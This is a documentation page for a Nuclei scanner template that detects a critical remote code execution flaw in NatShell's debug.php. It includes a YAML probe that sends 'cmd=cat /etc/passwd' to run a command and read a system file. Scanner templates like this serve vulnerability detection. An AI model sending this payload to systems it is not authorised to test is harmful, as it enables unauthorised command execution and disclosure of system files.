NatShell Debug File - Remote Code Execution
ID: natshell-rce
Severity: critical
Author: pikpikcu
Tags: natshell,rce
Description
Section titled “Description”The NatShell debug file is susceptible to a remote code execution vulnerability.
YAML Source
Section titled “YAML Source”id: natshell-rce
info: name: NatShell Debug File - Remote Code Execution author: pikpikcu severity: critical description: | The NatShell debug file is susceptible to a remote code execution vulnerability. reference: - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 1 tags: natshell,rce
http: - method: POST path: - "{{BaseURL}}/debug.php"
body: | cmd=cat /etc/passwd
matchers-condition: and matchers: - type: regex part: body regex: - "toor:[x*]:0:0"
- type: status status: - 200# digest: 4a0a00473045022100b8b2418535421f6ccaf8f890540974278686f0dd19d6c200274a7940a664728f02200ab29819d9c49d14b22c72a967b654f04bf7f066ee7540779375846fe39bc742:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/natshell-rce.yaml"